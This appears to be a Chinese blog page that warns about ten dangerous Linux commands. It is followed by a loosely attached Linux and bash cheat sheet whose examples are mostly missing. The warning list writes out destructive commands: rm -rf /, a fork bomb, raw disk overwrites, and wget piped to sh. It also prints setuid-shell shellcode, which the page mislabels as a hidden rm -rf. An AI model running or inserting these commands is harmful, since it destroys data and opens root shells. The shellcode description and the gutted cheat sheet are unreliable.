Linux中最危险的10个命令

Linux中最危险的10个命令,第1张

Linux中最危险的10个命令

对于编程人员或或者Linux系统管理员来说, *** 作Linux系统最常见的方法就是使用命令行。当然,Linux命令行佷有用、很高效,但有时候也很危险,尤其是在你误 *** 作或者不确定你自己在正在做什么的时候。下面我就为大家盘点最危险是10个命令,一起来看看吧!

当然,以下命令通常都是在root权限下才能将愚蠢发挥到无可救药在普 通用户身份下,破坏的只是自己的一亩三分地。

1. rm -rf 命令

rm -rf命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏。下列是一些rm 命令的选项。

rm 命令在Linux下通常用来删除文件。

rm -r 命令递归的删除文件夹,甚至是空的文件夹。(译注:个人认为此处应该是说错了,从常识看,应该是“甚至是非空的文件夹”)

rm -f 命令能不经过询问直接删除‘只读文件’。(译注:Linux下删除文件并不在乎该文件是否是只读的,而只是在意其父目录是否有写权限。所以,-f这个参数 只是表示不必一个个删除确认,而是一律悄悄删除。另外,原始的rm命令其实也是没有删除提示的,只是一般的发行版都会将rm通过别名的方式增加-i参数来 要求删除确认,而-f则抑制了这个提示。)

rm -rf / : 强制删除根目录下所有东东。(就是说删除完毕后,什么也没有了。。。)

rm -rf *: 强制删除当前目录的所有文件。

rm -rf . : 强制删除当前文件夹及其子文件夹。

从 现在起,当你要执行rm -rf命令时请留心一点。我们可以在“.bashrc”文件对‘rm‘命令创建rm -i的别名,来预防用 ‘rm‘命令删除文件时的事故,它会要求你确认每一个删除请求。(译注:大多数发行版已经这样做了,如果还没有,请这样做,并在使用-f参数前一定考虑好 你在做什么!译者本人有着血泪的教训啊。)

2. :(){:|:&}: 命令

这就是个fork 炸d的实例。具体 *** 作是通过定义一个名为 ‘:‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。

:(){:|:&}:

哦?你确认你要试试么?千万别在公司正式的服务器上实验啊~~

3. 命令 >/dev/sda

上列命令会将某个‘命令‘的输出写到块设备/dev/sda中。该 *** 作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。

4. mv 文件夹 /dev/null

这 个命令会移动某个‘文件夹‘到/dev/null。在Linux中 /dev/null 或 null 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写 *** 作成功。(译注:这就是黑洞啊。当然,要说明的是,通过将文件夹移动到黑洞,并不能阻止 数据恢复软件的救赎,所以,真正的`彻底毁灭,需要采用专用的软件或者手法来完成——我知道你肯定有些东西想删除得干干净净的。)

# mv /home/user/* /dev/null

上列命令会将User目录所有内容移动到/dev/null,这意味着所有东西都被‘卷入’黑洞 (null)之中。

5. wget http://malicious_source -O- | sh

上列命令会从一个(也许是)恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。

注意: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。(译注:所以,你真的知道你在做什么吗?当遇到这种需要是,我的做法是,先wget下来,然后我去读一读其中到底写了些什么,然后考虑是否执行。)

6. mkfs.ext3 /dev/sda

上列命令会格式化块设备‘sda’,你无疑知道在执行上列命令后你的块设备(硬盘驱 动器)会被格式化,崭新的!没有任何数据,直接让你的系统达到不可恢复的阶段。(译注:通常不会直接使用/dev/sda这样的设备,除非是作为raw设 备使用,一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然,无论你使用sda还是sda1,这样对块设备或分区进行mkfs都是毁 灭性的,上面的数据都会被蒸发了。)

7. >file

上列命令常用来清空文件内容(译注:通常也用于记录命令输出。 不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。另外,我想你可能真正想用的是 “>>”,即累加新的输出到文件,而不是刷新那个文件。)。如果用上列执行时输入错误或无知的输入类似 “>xt.conf” 的命令会覆盖配置文件或其他任何的系统配置文件。

8. ^foo^bar

这个命令在“鲜为人知而又实用的 Linux 命令大全:http://blog.csdn.net/zhu_xun/article/details/17018799”中描述过,用来编辑先前运行的命令而无需重打整个命令。但当用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。(译注:事实上,这种小技巧是译者认为的,少数史前时代遗留下来的无用而有害的“黑客”技巧。)

9. dd if=/dev/random of=/dev/sda

上列命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然!你的系统可能陷入混乱和不可恢复的状态。(译注:记得上面说过mv到黑洞并不能彻底删除数据么?那么这个命令就是给了你一个彻底删除的方法!当然为了保险起见,你可以覆写多次。)

10. 隐藏命令

下面的命令其实就是上面第一个命令 (rm -rf)。这里的代码是隐藏在十六进制里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你的根分区。

这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译/运行从未知来源的代码。

char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyondchmod 4755/tmp/.beyond”

注意: 不要在你的或你的同学或学校的电脑里的Linux终端或Shell执行以上的任何一个命令,因为这将导致数据丢失或者系统崩溃。如果你想测试它们,请在虚拟机上运行。

1.列出文件清单命令:ls

ls命令能够列出当前目录下的所有内容。ls 命令的执行方式为:

# ls [-选项] [文件名或者目录名]

进入到Linux命令行中后,我们至少要知道当前所处的位置有哪些内容,这些信息就可以使用ls命令来获得。

在Linux中,ls命令是最常使用的命令之一,因为在命令行下要随时查看目录内容。如果不加任何选项的话,ls命令仅列出当前目录下的文件和目录名,例如,想要查看/etc目录下的内容,可以使用下列命令:

# ls /etc

如果想要列出当前目录下所有文件,则可以使用下列命令:

# ls -a

2、cat命令

功能:在标准输出上显示文件。

语法:cat [-vTEuAte] 文件

例子: cat example.txt

cat -A exam2.txt

cat file1 file2 >file2

3、more命令

功能:在终端屏幕按屏显示文本文件。

语法: more [-pcdls] 文件

例子: more example.c

more -dc example.c

more -c -10 example.c

4、less命令

less命令的功能几乎和more命令一样,也是用来按页显示文件,不同之处在于less命令在显示文件时允许用户既

可以向前又可以向后翻阅文件。

5、head命令

功能:显示指定文件的前若干行。缺省设置为显示10行

语法:head [-n] 文件

例子: head example.c

head -3 example.c

6、tail命令

功能:显示指定文件的末尾若干行。缺省设置为显示10行

语法:tail [+ / - num ] [参数] 文件

+num 从第num行以后开始显示。- num 从距文件尾num行处开始显示。

例子: tail example.c

tail -4 example.c

7、grep、fgrep和egrep命令

功能:

这组命令以指定模式搜索文件,并通知用户在什么文件中搜索到与指定的模式匹配的字符串,并打印出所有包含该字符串的文本行,在该文本行的最前面是该行所在的文件名。grep命令一次只能搜索一个指定的模式;egrep命令检索扩展的正则表达式(包括表达式组和可选项);fgrep命令检索固定字符串,它不识别正则表达式,是快速搜索命令。

语法:

grep [-EFbcihlnvxef] [查找模式] [文件名1,文件名2,……]

egrep [选项] [查找模式] [文件名1,文件名2,……]

fgrep [选项] [查找模式] [文件名1,文件名2,……]

例子: grep "text file" example

grep data *

grep goto *.c

显示所有的环境变量,如果你想获取某个变量的详细信息,使用echo $VARIABLE_NAME .

Example:

whereis使用系统自动构建的数据库来搜索可执行文件,源文件和手册页面。

Example:

它在环境变量PATH指定的目录中搜索可执行文件。此命令将打印可执行文件的完整路径。

Example:

清除窗口上的内容。

列出您的文件。 ls 有很多选项: -l 列出“长格式”的文件,其中包含文件的确切大小,拥有该文件的人员,有权查看该文件,以及何时进行上次修改。 -a 列出所有文件,包括隐藏文件。有关此命令的更多信息,请检查此链接。

Example:

创建或更新您的文件。

Example:

它可以在UNIX或Linux下用于以下目的。

显示文件的第一部分(用空格移动并键入q以退出)。

输出文件的前10行。

输出最后10行文件。用于-f在文件增长时输出附加数据。

将文件从一个位置移动到另一个位置。

filename1 文件的源路径, filename2 是目标路径。

将文件从一个位置复制到另一个位置。

filename1 文件的源路径, filename2 是目标路径。

删除文件。在目录上使用此命令会给您显示一个错误:rm: directory: is a directory 。 为了删除目录,你必须传递 -rf 去递归删除目录中的所有内容。

比较文件,并列出他们的差异。

让您更改文件的读取,写入和执行权限。

压缩文件。

解压缩gzip压缩的文件。

让你查看gzip压缩文件,而不需要gunzip它。

打印文件。

查看打印机队列。

Example:

从打印队列移除某些内容。

awk是处理文本文件最有用的命令。它一行一行地在整个文件上运行。默认情况下,它使用空格分隔字段。awk命令最常用的语法是

让我们采取以下文件/etc/passwd 。以下是此文件包含的示例数据:

所以现在让我们从这个文件只获取用户名。-F 指定在我们要基于哪个分隔字段。在我们的例子中 : 。 { print $1 } 意味着打印出第一个匹配字段。

运行上述命令后,您将获得以下输出。

有关如何使用 awk 的更多细节,请查看以下链接。

查找文件内的文本。您可以使用grep搜索与一个或多个正则表达式匹配的文本行,并仅输出匹配的行。

Example:

您还可以通过使用 -i 选项强制grep忽略单词大小写。 -r 可用于搜索指定目录下的所有文件,例如:

-w 只搜索单词。有关 grep 详细信息,请查看以下链接。

告诉你一个文件中有多少行,多少单词和多少字符。

Example:

7459 是行数, 15915 是单词数, 398400 是字符数.

用于过滤和转换文本的流编辑器。

example.txt

用连字符替换所有空格

使用"d"替换所有的数字

排序文本文件的行

example.txt

sort example.txt

随机化一个排序的example.txt

报告或省略重复的行

example.txt

只显示example.txt的唯一行(首先你需要排序,否则看不到重叠)

显示每行的唯一项,并告诉我找到了多少个实例

从每行文件中删除部分。

example.txt

显示第2,7和9栏的空格作为分隔符

显示一行文字

显示 "Hello World"

用字母之间的换行显示 "Hello World"

简单的最佳文本格式化程序

example: example.txt (1 line)

将example.txt的行输出为20个字符的宽度

翻译或删除字符

example.txt

把所有小写字母变成为大写

把所有的空格变成换行符

显示文件的行数

example.txt

带行号显示 example.txt

打印匹配模式的行 - 扩展表达式(别名为:'grep -E')

example.txt

在其中显示“Lorem”或“dolor”的行

打印匹配模式到的行 - FIXED模式匹配(别名为:'grep -F')

example.txt

在example.txt中找到具体的字符串'(Lorem | doloar)'

生成一个新的目录。

执行这个,从一个目录转移到另外一个目录。

将你移动到主目录。此命令接受可选的 dirname ,将你移动到该目录。

告诉你你目前所在的目录。

ssh (SSH client) 是一个用来在登录到远程机器并执行的命令的程序。

此命令还接受 -p 可用于连接到特定端口的选项。

返回当前登录用户名。

允许当前登录的用户更改其密码。

显示您的磁盘配额。

显示当前日期和时间。

显示月份的日历。

显示当前的正常运行时间。

显示谁在线

Displays information about user.

显示内核信息。

显示指定命令的手册。

显示磁盘使用情况。

显示文件名中文件和目录的磁盘使用情况(du -s只给出一个总数)。

列出您最后登录的指定用户。

列出您的进程。

使用您所提供的ID杀死(结束)进程。

用名称杀死所有进程。

显示当前活动的进程。

列出停止的或后台工作的Job恢复在后台停止的Job。

前台化最近的Job。

Brings the most recent job in the foreground.

Pings主机并输出结果。

获取域的whois信息。

获取域的DNS信息。

下载文件。

在本地主机和远程主机之间或两台远程主机之间传输文件。

从本地主机复制到远程主机

从远程主机复制到本地主机

此命令还接受 -P 选项可用于连接到特定的端口。

在bash中你将编写第一行脚本文件,被叫做 shebang 。任何脚本中的这一行来确定脚本的执行能力,如独立的可执行文件,而不是在终端中预先键入sh,bash,python,php等。

Example:

上面的一行创建一个变量str并给它赋值“hello world”。通过 $ 放在变量名的开头来检索变量的值。

Example:

像其他语言一样,bash也有数组。数组是包含多个值的变量。数组的大小没有最大限制。bash中的数组为零。第一个元素被索引为元素0.在bash中创建数组有几种方法。以下给出了哪些。

Examples:

要在特定索引处显示值,请使用以下语法:

如果没有提供索引,则假定为数组元素0。要了解数组中有多少值,请使用以下语法:

Bash也支持三元条件。下面是一些例子。

检查一些关于如何 *** 作字符串的语法

Example:

当您运行上述示例时,该hello函数将输出“world!”。上述两个功能 hello 和 say 是相同的。主要区别是功能 say 。此功能打印其接收到的第一个参数。函数内的参数以与给脚本的参数相同的方式进行处理。

bash中的条件语句与其他编程语言相似。条件有许多形式,如最基本的形式是 if 表达式 then 语句,其中语句只有在表达式为真时执行。

有时,如果条件变得混乱,所以你可以使用相同的条件 case statements 。

Expression Examples:

bash 中有三种不同类型的循环。for , while 和 until .

for 语法:

while 语法:

until 语法:

bash_profile 可以通过运行后面的命令打开。 nano ~/.bash_profile

nano ~/.bashrc

source ~/.bashrc

cd hotellogs

您可以通过传递不同的选项来轻松地调试bash脚本bash。例如-n,不会运行命令并仅检查语法错误。-vecho命令在运行它们之前。-x命令行处理后的echo命令。


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/7777026.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-04-09
下一篇 2023-04-09

发表评论

登录后才能评论

评论列表(0条)

保存